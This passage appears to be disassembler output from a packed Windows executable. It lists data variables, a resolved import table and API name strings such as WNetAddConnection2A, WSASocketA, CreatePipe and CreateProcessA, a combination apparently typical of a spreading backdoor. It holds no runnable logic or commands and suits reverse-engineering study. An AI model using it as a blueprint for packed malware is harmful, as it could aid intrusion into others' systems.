					; sub_420300+5B2w ...
dword_4EFF74	dd 0			; DATA XREF: sub_4201E0+34w
					; sub_420300+468r ...
dword_4EFF78	dd 1			; DATA XREF: .nsp0:00420133r
					; sub_4201E0+3Ew ...
dword_4EFF7C	dd 951E90h		; DATA XREF: .nsp0:00420116r
					; .nsp0:loc_420186r ...
dword_4EFF80	dd 950000h		; DATA XREF: sub_41A4F0+76r
					; sub_41FCA0+5Cr ...
dword_4EFF84	dd 0			; DATA XREF: .nsp0:0041EEB4r
					; .nsp0:0041EEBFw ...
dword_4EFF88	dd 956680h		; DATA XREF: sub_41EB90+48w
					; sub_41EB90+4Dr ...
		dd 5 dup(0)
dword_4EFFA0	dd 400h	dup(0)		; DATA XREF: .nsp0:off_451128o
					; .nsp0:00451130o
dword_4F0FA0	dd 200h			; DATA XREF: sub_41EB90+4r
					; sub_41EB90+Dw ...
dword_4F0FA4	dd 142340h		; DATA XREF: .nsp0:0041EA79w
					; sub_429CD0:loc_429CE2r ...
dword_4F0FA8	dd 1			; DATA XREF: sub_429D90+13Bw
					; sub_4323B0+Er
dword_4F0FAC	dd 1			; DATA XREF: sub_4246A0+3r
					; sub_4246A0+16w ...
dword_4F0FB0	dd 9D00B0h		; DATA XREF: sub_41B600+45r
					; sub_41D930+19r ...
dword_4F0FB4	dd 9D00B0h		; DATA XREF: sub_41B600+3Cr
					; sub_41B600+5Ar ...
dword_4F0FB8	dd 0			; DATA XREF: .nsp0:0041A674r
					; .nsp0:0041A67Fw ...
byte_4F0FBC	db 0			; DATA XREF: sub_4357D0+5r
					; sub_4357D0+11r ...
		align 10h
		dd 10h dup(0)
		dd 0F1258h, 2 dup(0)
		dd 0F153Eh, 0F14C4h, 0F1260h, 2	dup(0)
		dd 0F1554h, 0F14CCh, 0F1050h, 2	dup(0)
		dd 0F1E94h, 0F12BCh, 5 dup(0)
		dd 77E6D75Bh, 77E6BD68h, 77E77F2Eh, 77E762D0h, 77E78723h
		dd 77E70192h, 77E79C94h, 77E6363Bh, 77E75243h, 77E752B8h
		dd 77E7176Ch, 77E7C9E7h, 77E7C866h, 77E641EBh, 77E73FF9h
		dd 77E7FF2Eh, 77E78406h, 77E7C931h, 77E77EE1h, 77E67702h
		dd 77E7C9E1h, 77E9C5B1h, 77EB9A84h, 77E781F9h, 77E77405h
		dd 77E75CB5h, 77E77963h, 77E61BB8h, 77E7A099h, 77E704FCh
		dd 77E61BE6h, 77E7AC37h, 77E73628h, 77E706B7h, 77E80656h
		dd 77F5157Dh, 77E6BD13h, 77E70396h, 77E74CABh, 77E79F93h
		dd 77E79D5Bh, 77E7C2C4h, 77E7751Ah, 77E75CEBh, 77E6AD34h
		dd 77E71AFEh, 77E805D8h, 77E7A5FDh, 77E65F4Ch, 77E7513Ch
		dd 77E7C657h, 77E73C49h, 77F7E300h, 77F7E21Fh, 77E7C706h
		dd 77F53275h, 77E79D8Ch, 77E737DEh, 77E78B82h, 77E7A837h
		dd 77E616B4h, 77E79CE3h, 77E79C90h, 77E7727Ah, 77E64106h
		dd 77E64006h, 77E793EFh, 77E78EAAh, 77E79424h, 77E794BFh
		dd 77E75E67h, 77E75D9Eh, 77E78C81h, 77E76968h, 77E74C59h
		dd 77EC7C51h, 77E802FCh, 77E70F89h, 77E76A60h, 77E71B14h
		dd 77E7166Fh, 77E75090h, 77E74D76h, 77E77797h, 77E7011Ah
		dd 77E73CE2h, 77E668D9h, 77E80618h, 77E79924h, 77E77CCEh
		dd 77E76A2Eh, 77E7FF65h, 77EB7624h, 77E6C29Dh, 77E76C1Ah
		dd 77E73196h, 77E7339Ch, 77E6C924h, 77F6183Eh, 77E76E3Dh
		dd 77E61608h, 77E778C5h, 77E777EFh, 77E6177Ah, 77E7C938h
		dd 77E7C486h, 77EB36A5h, 77E79C3Dh, 77E9BD34h, 77E79908h
		dd 77EB8503h, 77F516F8h, 77F5722Fh, 77F51597h, 77E76E0Bh
		dd 77E7C726h, 77E79E34h, 77E7980Ah, 77E77CC4h, 77E79B39h
		dd 77E7C5B4h, 77E72B29h, 77F51587h, 77E78B61h, 77E73163h
		dd 77E7849Fh, 77E7A13Fh, 77E6C703h, 77E6D706h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h, 71AB1746h, 71AB401Ch, 71AB1836h, 71AB41DAh
		dd 71AB3F8Dh, 71AB155Ah, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB5A01h, 71AB12F8h, 71AB1746h, 71AB3E5Dh, 71AB5690h
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 71AB2BBFh, 0
dword_4F12BC	dd 77E6D75Bh		; DATA XREF: sub_411ED9+182r
					; sub_412C36+FFr ...
dword_4F12C0	dd 77E6BD68h		; DATA XREF: sub_434E10+2C5r
					; .nsp0:00435BB0r
dword_4F12C4	dd 77E77F2Eh		; DATA XREF: sub_4349C0+41r
					; sub_4349C0+3DAr ...
dword_4F12C8	dd 77E762D0h		; DATA XREF: sub_4349C0+69r
					; sub_4349C0+D9r ...
dword_4F12CC	dd 77E78723h		; DATA XREF: sub_434670+37r
					; sub_434670+8Br ...
dword_4F12D0	dd 77E70192h		; DATA XREF: sub_430DB0+1D8r
					; .nsp0:00435B98r
dword_4F12D4	dd 77E79C94h		; DATA XREF: sub_4306C0+12r
					; .nsp0:00435B92r
dword_4F12D8	dd 77E6363Bh		; DATA XREF: sub_430030+7Ar
					; sub_430420+53r ...
dword_4F12DC	dd 77E75243h		; DATA XREF: sub_42FDA0+142r
					; .nsp0:00435B86r
dword_4F12E0	dd 77E752B8h		; DATA XREF: sub_42FDA0+15Cr
					; .nsp0:00435B80r
dword_4F12E4	dd 77E7176Ch		; DATA XREF: sub_42DED0+Fr
					; .nsp0:00435B7Ar
dword_4F12E8	dd 77E7C9E7h		; DATA XREF: sub_42DE30+8r
					; sub_42DE50+9r ...
dword_4F12EC	dd 77E7C866h		; DATA XREF: sub_42C100+3Cr
					; sub_42C100+19Er ...
dword_4F12F0	dd 77E641EBh		; DATA XREF: sub_42C100+61r
					; sub_42C100+AAr ...
dword_4F12F4	dd 77E73FF9h		; DATA XREF: sub_42BD10+7Fr
					; .nsp0:00435B62r
dword_4F12F8	dd 77E7FF2Eh		; DATA XREF: sub_42B930+58r
					; sub_42B930+66r ...
dword_4F12FC	dd 77E78406h		; DATA XREF: sub_42A610+1E6r
					; sub_42A610+29Br ...
dword_4F1300	dd 77E7C931h		; DATA XREF: sub_42A610+31Ar
					; .nsp0:00435B50r
dword_4F1304	dd 77E77EE1h		; DATA XREF: sub_42A3F0+1Dr
					; sub_42A3F0+6Dr ...
dword_4F1308	dd 77E67702h		; DATA XREF: sub_42A3F0:loc_42A428r
					; sub_42A3F0+171r ...
dword_4F130C	dd 77E7C9E1h		; DATA XREF: sub_42A3F0+108r
					; sub_42A3F0+150r ...
dword_4F1310	dd 77E9C5B1h		; DATA XREF: sub_42A3F0+1E6r
					; sub_42A3F0+208r ...
dword_4F1314	dd 77EB9A84h		; DATA XREF: sub_429AB0+37r
					; .nsp0:00435B32r
dword_4F1318	dd 77E781F9h		; DATA XREF: sub_429750+41r
					; sub_429750+1A5r ...
dword_4F131C	dd 77E77405h		; DATA XREF: sub_429750+69r
					; sub_429750+C0r ...
dword_4F1320	dd 77E75CB5h		; DATA XREF: sub_401317+DFr
					; sub_40141B+7Ar ...
dword_4F1324	dd 77E77963h		; DATA XREF: sub_401317+B8r
					; sub_40141B+2D8r ...
dword_4F1328	dd 77E61BB8h		; DATA XREF: sub_401317+A7r
					; sub_40141B+2C0r ...
dword_4F132C	dd 77E7A099h		; DATA XREF: sub_401317+83r
					; sub_40141B+DAr ...
dword_4F1330	dd 77E704FCh		; DATA XREF: sub_401317+74r
					; sub_40141B+C4r ...
dword_4F1334	dd 77E61BE6h		; DATA XREF: sub_401317+29r
					; sub_40141B+1F1r ...
dword_4F1338	dd 77E7AC37h		; DATA XREF: sub_40141B+3BBr
					; sub_401CC1+1AC6r ...
dword_4F133C	dd 77E73628h		; DATA XREF: sub_40141B+338r
					; sub_401CC1+6B00r ...
dword_4F1340	dd 77E706B7h		; DATA XREF: sub_40141B+271r
					; sub_4175DD+B9r ...
dword_4F1344	dd 77E80656h		; DATA XREF: sub_40141B+264r
					; .nsp0:004358E6r
dword_4F1348	dd 77F5157Dh		; DATA XREF: sub_40141B+1D5r
					; sub_40141B+3E0r ...
dword_4F134C	dd 77E6BD13h		; DATA XREF: sub_40141B:loc_4015D3r
					; .nsp0:004358F2r
dword_4F1350	dd 77E70396h		; DATA XREF: sub_40141B+1B2r
					; sub_40141B+21Er ...
dword_4F1354	dd 77E74CABh		; DATA XREF: sub_40141B+19Br
					; sub_40F1D3+110r ...
dword_4F1358	dd 77E79F93h		; DATA XREF: sub_40141B+D3r
					; sub_408F54+2r ...
dword_4F135C	dd 77E79D5Bh		; DATA XREF: sub_40141B+6Br
					; sub_40141B+30Er ...
dword_4F1360	dd 77E7C2C4h		; DATA XREF: sub_40141B+64r
					; .nsp0:00435910r
dword_4F1364	dd 77E7751Ah		; DATA XREF: sub_40141B+2Cr
					; sub_401CC1+2095r ...
dword_4F1368	dd 77E75CEBh		; DATA XREF: sub_401CC1+6D5Dr
					; sub_40A938+2Br ...
dword_4F136C	dd 77E6AD34h		; DATA XREF: sub_401CC1+604Dr
					; sub_41615A+35r ...
dword_4F1370	dd 77E71AFEh		; DATA XREF: sub_401CC1+5F26r
					; .nsp0:00435928r
dword_4F1374	dd 77E805D8h		; DATA XREF: sub_408F54+13Ar
					; sub_408F54:loc_409408r ...
dword_4F1378	dd 77E7A5FDh		; DATA XREF: sub_408F54+11r
					; sub_4164D5+6Br ...
dword_4F137C	dd 77E65F4Ch		; DATA XREF: .nsp0:0040A24Fr
					; sub_4174B4+34r ...
dword_4F1380	dd 77E7513Ch		; DATA XREF: .nsp0:0040A2F1r
					; sub_42FDA0+18r ...
dword_4F1384	dd 77E7C657h		; DATA XREF: .nsp0:0040A365r
					; sub_4162E2+32r ...
dword_4F1388	dd 77E73C49h		; DATA XREF: sub_40A868+4Ar
					; sub_40AFA4+1ABr ...
dword_4F138C	dd 77F7E300h		; DATA XREF: sub_40B9F0+13Fr
					; sub_41ED50+35r ...
dword_4F1390	dd 77F7E21Fh		; DATA XREF: sub_40B9F0+D4r
					; sub_41ECE0+35r ...
dword_4F1394	dd 77E7C706h		; DATA XREF: sub_40BC04+77r
					; .nsp0:0043595Er
dword_4F1398	dd 77F53275h		; DATA XREF: sub_40BC04+6Br
					; sub_40BC04+22Fr ...
dword_4F139C	dd 77E79D8Ch		; DATA XREF: sub_40D37E+94r
					; sub_40D46C+184r ...
dword_4F13A0	dd 77E737DEh		; DATA XREF: sub_40D46C+43Dr
					; .nsp0:00435970r
dword_4F13A4	dd 77E78B82h		; DATA XREF: sub_40D46C+1ACr
					; sub_40D46C+49Cr ...
dword_4F13A8	dd 77E7A837h		; DATA XREF: sub_40D46C+AAr
					; sub_40F1D3+1C4r ...
dword_4F13AC	dd 77E616B4h		; DATA XREF: sub_40E017+19Br
					; sub_4107E7+115r ...
dword_4F13B0	dd 77E79CE3h		; DATA XREF: sub_40E017+111r
					; sub_410A31+77r ...
dword_4F13B4	dd 77E79C90h		; DATA XREF: sub_40E017+FDr
					; sub_40E017+10Ar ...
dword_4F13B8	dd 77E7727Ah		; DATA XREF: sub_40E017+74r
					; sub_410938+23r ...
dword_4F13BC	dd 77E64106h		; DATA XREF: sub_40F051+9Fr
					; sub_41897B+1B6r ...
dword_4F13C0	dd 77E64006h		; DATA XREF: sub_40F051+8Br
					; sub_41897B+19Fr ...
dword_4F13C4	dd 77E793EFh		; DATA XREF: sub_40F1D3+1EEr
					; sub_40FB05+38r ...
dword_4F13C8	dd 77E78EAAh		; DATA XREF: sub_40F483+5E8r
					; .nsp0:004359ACr
dword_4F13CC	dd 77E79424h		; DATA XREF: sub_40F483+27Br
					; .nsp0:004359B2r
dword_4F13D0	dd 77E794BFh		; DATA XREF: sub_40F483+26Dr
					; .nsp0:004359B8r
dword_4F13D4	dd 77E75E67h		; DATA XREF: sub_40F483+20Dr
					; sub_40F483+5D7r ...
dword_4F13D8	dd 77E75D9Eh		; DATA XREF: sub_40F483+1FCr
					; .nsp0:004359C4r
dword_4F13DC	dd 77E78C81h		; DATA XREF: sub_40FB05+6Cr
					; sub_429380+3Cr ...
dword_4F13E0	dd 77E76968h		; DATA XREF: sub_41055F+5Fr
					; .nsp0:0042B14Ar ...
dword_4F13E4	dd 77E74C59h		; DATA XREF: sub_4107E7+C7r
					; .nsp0:004359D6r
dword_4F13E8	dd 77EC7C51h		; DATA XREF: sub_410BBC+5Er
					; .nsp0:004359DCr
dword_4F13EC	dd 77E802FCh		; DATA XREF: sub_411ED9+18Cr
					; sub_411ED9+2D4r ...
dword_4F13F0	dd 77E70F89h		; DATA XREF: sub_41458A+Dr
					; sub_41DA60+Dr ...
dword_4F13F4	dd 77E76A60h		; DATA XREF: sub_415ECC+2Dr
					; .nsp0:004359F4r
dword_4F13F8	dd 77E71B14h		; DATA XREF: sub_415F56+26r
					; .nsp0:004359FAr
dword_4F13FC	dd 77E7166Fh		; DATA XREF: sub_415F56+1Dr
					; .nsp0:00435A00r
dword_4F1400	dd 77E75090h		; DATA XREF: sub_415F91+6Cr
					; .nsp0:00435A06r
dword_4F1404	dd 77E74D76h		; DATA XREF: sub_415F91+39r
					; .nsp0:00435A0Cr
dword_4F1408	dd 77E77797h		; DATA XREF: sub_415F91+28r
					; .nsp0:00435A12r
dword_4F140C	dd 77E7011Ah		; DATA XREF: sub_416016+96r
					; .nsp0:00435A18r
dword_4F1410	dd 77E73CE2h		; DATA XREF: sub_416016+60r
					; .nsp0:00435A1Er
dword_4F1414	dd 77E668D9h		; DATA XREF: sub_41615A+15Dr
					; .nsp0:00435A24r
dword_4F1418	dd 77E80618h		; DATA XREF: sub_4164D5+D4r
					; .nsp0:00435A2Ar
dword_4F141C	dd 77E79924h		; DATA XREF: sub_416A95+13r
					; sub_429750+2A5r ...
dword_4F1420	dd 77E77CCEh		; DATA XREF: sub_416B67+Fr
					; sub_41E7D0+BFr ...
dword_4F1424	dd 77E76A2Eh		; DATA XREF: sub_4175DD+DEr
					; .nsp0:00435A3Cr
dword_4F1428	dd 77E7FF65h		; DATA XREF: sub_417A44+5Ar
					; .nsp0:00435A42r
dword_4F142C	dd 77EB7624h		; DATA XREF: sub_417A44+3Dr
					; .nsp0:00435A48r
dword_4F1430	dd 77E6C29Dh		; DATA XREF: sub_4180D5+1EAr
					; .nsp0:00435A4Er
dword_4F1434	dd 77E76C1Ah		; DATA XREF: sub_41897B+1CFr
					; .nsp0:00435A54r
dword_4F1438	dd 77E73196h		; DATA XREF: sub_41A4A0+2Ar
					; sub_421830+19r ...
dword_4F143C	dd 77E7339Ch		; DATA XREF: sub_41A4A0+12r
					; sub_42DE70+13r ...
dword_4F1440	dd 77E6C924h		; DATA XREF: sub_41A4F0+7Cr
					; sub_420030+39r ...
dword_4F1444	dd 77F6183Eh		; DATA XREF: sub_435A6Cr
dword_4F1448	dd 77E76E3Dh		; DATA XREF: sub_41DA60+9Fr
					; sub_42DF80+5Er ...
dword_4F144C	dd 77E61608h		; DATA XREF: sub_41DA60+17r
					; .nsp0:00435A78r
dword_4F1450	dd 77E778C5h		; DATA XREF: sub_41E550+40r
					; sub_41E550+86r ...
dword_4F1454	dd 77E777EFh		; DATA XREF: sub_41E550+2Cr
					; sub_41E750+Br ...
dword_4F1458	dd 77E6177Ah		; DATA XREF: .nsp0:0041EAA2r
					; sub_42A610+87r ...
dword_4F145C	dd 77E7C938h		; DATA XREF: .nsp0:0041EA73r
					; .nsp0:00435A90r
dword_4F1460	dd 77E7C486h		; DATA XREF: .nsp0:0041E9E6r
					; .nsp0:00435A96r
dword_4F1464	dd 77EB36A5h		; DATA XREF: sub_41EDC0+3r
					; .nsp0:00435A9Cr
dword_4F1468	dd 77E79C3Dh		; DATA XREF: .nsp0:0041EE6Er
					; .nsp0:0041EE88r ...
dword_4F146C	dd 77E9BD34h		; DATA XREF: sub_41EED0+102r
					; sub_41EED0+2F3r ...
dword_4F1470	dd 77E79908h		; DATA XREF: sub_41FA60+9r
					; sub_41FA60+16r ...
dword_4F1474	dd 77EB8503h		; DATA XREF: .nsp0:0041FC09r
					; .nsp0:00435AB4r
dword_4F1478	dd 77F516F8h		; DATA XREF: sub_41FCA0+63r
					; sub_41FDD0+11Br ...
dword_4F147C	dd 77F5722Fh		; DATA XREF: sub_41FD20+A3r
					; sub_41FDD0+1B0r ...
dword_4F1480	dd 77F51597h		; DATA XREF: sub_41FFC0+5Er
					; .nsp0:00420175r ...
dword_4F1484	dd 77E76E0Bh		; DATA XREF: sub_4200C0+3Cr
					; .nsp0:004201A2r ...
dword_4F1488	dd 77E7C726h		; DATA XREF: sub_4200C0+14r
					; .nsp0:00435AD2r
dword_4F148C	dd 77E79E34h		; DATA XREF: .nsp0:0042014Cr
					; .nsp0:00420160r ...
dword_4F1490	dd 77E7980Ah		; DATA XREF: sub_420E10+A3r
					; sub_420F20+A7r ...
dword_4F1494	dd 77E77CC4h		; DATA XREF: sub_423C10+64r
					; sub_423CF0+66r ...
dword_4F1498	dd 77E79B39h		; DATA XREF: sub_423C10+4Ar
					; sub_423CF0+50r ...
dword_4F149C	dd 77E7C5B4h		; DATA XREF: sub_423C10+9r
					; .nsp0:00435AF0r
dword_4F14A0	dd 77E72B29h		; DATA XREF: .nsp0:00423CB7r
					; .nsp0:00435AF6r
dword_4F14A4	dd 77F51587h		; DATA XREF: sub_423CF0+8Br
					; .nsp0:00435AFCr
dword_4F14A8	dd 77E78B61h		; DATA XREF: sub_423CF0+15r
					; .nsp0:00423DACr ...
dword_4F14AC	dd 77E73163h		; DATA XREF: .nsp0:00423EB3r
					; .nsp0:00435B08r
dword_4F14B0	dd 77E7849Fh		; DATA XREF: sub_423EC0+1C7r
					; sub_424370+17r ...
dword_4F14B4	dd 77E7A13Fh		; DATA XREF: sub_424210+35r
					; .nsp0:00435B14r
dword_4F14B8	dd 77E6C703h		; DATA XREF: sub_424210+1Dr
					; .nsp0:00435B1Ar
dword_4F14BC	dd 77E6D706h		; DATA XREF: sub_426420+35Ar
					; .nsp0:00435B20r ...
		dd 0
dword_4F14C4	dd 71B2ACCBh		; DATA XREF: sub_435826r
		dd 0
dword_4F14CC	dd 71AB4122h		; DATA XREF: sub_413F11+D4r
					; .nsp0:004358A4r
dword_4F14D0	dd 71AB1746h		; DATA XREF: sub_411A34+1DEr
					; .nsp0:0043589Er
dword_4F14D4	dd 71AB401Ch		; DATA XREF: sub_411A34+21Br
					; sub_411A34+243r ...
dword_4F14D8	dd 71AB1836h		; DATA XREF: sub_40EAD9+6Er
					; sub_40EB56+8Er ...
dword_4F14DC	dd 71AB41DAh		; DATA XREF: sub_40E4A5+4Ar
					; sub_40EAD9+15r ...
dword_4F14E0	dd 71AB3F8Dh		; DATA XREF: sub_40E4A5+5Ar
					; .nsp0:00435886r
dword_4F14E4	dd 71AB155Ah		; DATA XREF: sub_40E4A5+8Dr
					; sub_412A93+70r ...
dword_4F14E8	dd 71AB3ECEh		; DATA XREF: sub_40E4A5+B5r
					; .nsp0:0043587Ar
dword_4F14EC	dd 71AB5DE2h		; DATA XREF: sub_40E4A5+C9r
					; .nsp0:00435874r
dword_4F14F0	dd 71AB868Dh		; DATA XREF: sub_40E4A5+171r
					; .nsp0:0043586Er
dword_4F14F4	dd 71AB5A01h		; DATA XREF: sub_413FFA+20r
					; .nsp0:004358AAr
dword_4F14F8	dd 71AB12F8h		; DATA XREF: sub_40D974+27r
					; sub_40DAB6+27r ...
dword_4F14FC	dd 71AB1746h		; DATA XREF: sub_40D974+36r
					; sub_40DAB6+36r ...
dword_4F1500	dd 71AB3E5Dh		; DATA XREF: sub_40D974+59r
					; sub_40DAB6+59r ...
dword_4F1504	dd 71AB5690h		; DATA XREF: sub_40D974+6Ar
					; sub_40DAB6+6Ar ...
dword_4F1508	dd 71AB1A6Dh		; DATA XREF: sub_40D974+E0r
					; sub_40DAB6+E0r ...
dword_4F150C	dd 71AB3C22h		; DATA XREF: .nsp0:0040CC60r
					; sub_40D974+45r ...
dword_4F1510	dd 71AB1AF4h		; DATA XREF: sub_40C8D4+12r
					; sub_40D974+C3r ...
dword_4F1514	dd 71AB1890h		; DATA XREF: sub_40C736+4Cr
					; sub_40E4A5+106r ...
dword_4F1518	dd 71AB1B7Bh		; DATA XREF: sub_435832r
dword_4F151C	dd 71AB157Eh		; DATA XREF: sub_401CC1+29F4r
					; .nsp0:0043582Cr
dword_4F1520	dd 71AB2BBFh		; DATA XREF: .nsp0:0040DBB7r
					; .nsp0:00435868r
		align 8
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
		db '=',0
aWsasocketa_0	db 'WSASocketA',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 10h
		db '}',0
aExitprocess	db 'ExitProcess',0
		db 1Bh,0
aClosehandle	db 'CloseHandle',0
aD_4		db 'D',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
		dw 124h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		db  59h	; Y
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 296h
aSleep		db 'Sleep',0
aJ_3		db 'J',0
aCreatethread	db 'CreateThread',0
		align 2
aW_1		db 'W',0
aDeletefilea	db 'DeleteFileA',0
		dd 704F01EFh, 72506E65h, 7365636Fh, 0F80073h
aGetcurrentproc	db 'GetCurrentProcessId',0
		db  1Ah
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
		db '(',0
aCopyfilea	db 'CopyFileA',0
		db  68h	; h
		db 2, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 10Dh
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  26h	; &
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 10h
		db 0CEh	; Î
		db 2, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
a?		db '?',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 16Dh
aGettickcount	db 'GetTickCount',0
		align 2
		dw 29Fh
aTerminatethrea	db 'TerminateThread',0
		dd 65470165h, 6D655474h, 74615070h, 4168h, 6F4D01DDh, 69466576h
		dd 41656Ch, 6F4C01C2h, 694C6461h, 72617262h, 4179h, 6547013Eh
		dd 6F725074h, 64644163h, 73736572h, 0CE0000h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 11C0000h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	65470175h, 72655674h, 6E6F6973h
		dd 417845h, 7845007Eh, 68547469h, 64616572h, 1C10000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aF_2		db 'f',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 1ABh
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aU_2		db 'U',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 2DFh
aWritefile	db 'WriteFile',0
a1_1		db '1',0
aCreateeventa	db 'CreateEventA',0
		align 2
		dw 218h
aReadfile_0	db 'ReadFile',0
		align 2
a4_1		db '4',0
aCreatefilea	db 'CreateFileA',0
		dd 6554029Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440063h
		dd 63696C70h, 48657461h, 6C646E61h, 0F70065h
aGetcurrentpr_0	db 'GetCurrentProcess',0
aC_4		db 'C',0
aCreatepipe	db 'CreatePipe',0
		align 4
		dd 6547016Eh, 6D695474h, 726F4665h, 4174616Dh, 0FB0000h
		dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470112h, 6C694674h
		dd 7A695365h, 900065h, 646E6946h, 736F6C43h, 8A0065h
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
aI_3		db '‰',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
aA_4		db '',0
aFindnextfilea	db 'FindNextFileA',0
aF_3		db '”',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 26Ah
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db  41h	; A
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		db 0CCh
		db 2, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		db '¸',0
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 206h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db    7
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		dd 6547011Bh, 636F4C74h, 69546C61h, 656Dh, 6F4600AFh, 74616D72h
		dd 7373654Dh, 41656761h, 1930000h, 626F6C47h, 6E556C61h
		dd 6B636F6Ch, 18C0000h,	626F6C47h, 6F4C6C61h, 6B63h, 6E5502B0h
		dd 5670616Dh, 4F776569h, 6C694666h, 1D60065h, 5670614Dh
		dd 4F776569h, 6C694666h, 350065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 4
		db  6Ch	; l
		db 2, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 114h
aGetfiletime	db 'GetFileTime',0
aA_5		db '€',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db '´',0
aFreelibrary	db 'FreeLibrary',0
		dw 2D2h
aWidechartomult	db 'WideCharToMultiByte',0
		db 0E4h	; ä
		db 1, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 2FFh
aLstrcmpia	db 'lstrcmpiA',0
		dw 10Bh
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		db 0F9h	; ù
		db 1, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
		db  20h
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDrives',0
		align 10h
		db  8Dh	; 
		db 1, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
		dw 1B8h
aIsbadwriteptr	db 'IsBadWritePtr',0
		dw 1B5h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 1A7h
aHeapvalidate	db 'HeapValidate',0
		align 2
		dw 22Fh
aRtlunwind	db 'RtlUnwind',0
		dw 170h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		db  5Dh	; ]
		db 1, 47h, 65h
aTsystemtime	db 'tSystemTime',0
		db 0ADh	; ­
		db 1, 49h, 6Eh
aTerlockeddecre	db 'terlockedDecrement',0
		align 4
		db 0B0h	; °
		db 1, 49h, 6Eh
aTerlockedincre	db 'terlockedIncrement',0
		align 4
		db  50h	; P
		db 1, 47h, 65h
aTstartupinfoa	db 'tStartupInfoA',0
; ---------------------------------------------------------------------------
		retf	4700h
; ---------------------------------------------------------------------------
aEtcommandlinea	db 'etCommandLineA',0
		db  74h	; t
		db 1, 47h, 65h
aTversion	db 'tVersion',0
		align 2
aQ_3		db 'Q',0
aDebugbreak	db 'DebugBreak',0
		align 4
		db  52h	; R
		db 1, 47h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
		db 0F5h	; õ
		db 1, 4Fh, 75h
aTputdebugstrin	db 'tputDebugStringA',0
		align 2
		dw 1AAh
aInitializecr_0	db 'InitializeCriticalSection',0
aE_2		db '…',0
aFatalappexita	db 'FatalAppExitA',0
		dw 199h
aHeapalloc	db 'HeapAlloc',0
		dw 1A2h
aHeaprealloc	db 'HeapReAlloc',0
		dd 6548019Fh, 72467061h, 6565h,	6548019Dh, 65447061h, 6F727473h
		dd 19B0079h, 70616548h,	61657243h, 6574h, 695602BFh, 61757472h
		dd 6572466Ch, 2BB0065h,	74726956h, 416C6175h, 636F6C6Ch
		dd 0FA0000h
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 6C5402A5h, 74655373h, 756C6156h, 2A20065h, 41736C54h
		dd 636F6C6Ch, 2A30000h,	46736C54h, 656572h, 65530271h
		dd 73614C74h, 72724574h, 726Fh,	6C5402A4h, 74654773h, 756C6156h
		dd 0F90065h, 43746547h,	65727275h, 6854746Eh, 64616572h
		dd 0BF0000h, 43746547h,	666E4950h, 0B9006Fh, 41746547h
		dd 5043h, 65470131h, 4D454F74h,	5043h, 6152020Bh, 45657369h
		dd 70656378h, 6E6F6974h, 1BF0000h, 614D434Ch, 72745370h
		dd 41676E69h, 1C00000h,	614D434Ch, 72745370h, 57676E69h
		dd 2AD0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		db '²',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db '³',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 106h
aGetenvironment	db 'GetEnvironmentStrings',0
		dw 108h
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 10h
		db  6Dh	; m
		db 2, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 115h
aGetfiletype	db 'GetFileType',0
		db  7Ch	; |
		db 2, 53h, 65h
aTstdhandle_0	db 'tStdHandle',0
		align 10h
aK_2		db 'ª',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 4
		db  53h	; S
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 156h
aGetstringtypew	db 'GetStringTypeW',0
		align 4
		db  8Bh	; ‹
		db 2, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 1B2h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 1BEh
aIsvalidlocale	db 'IsValidLocale',0
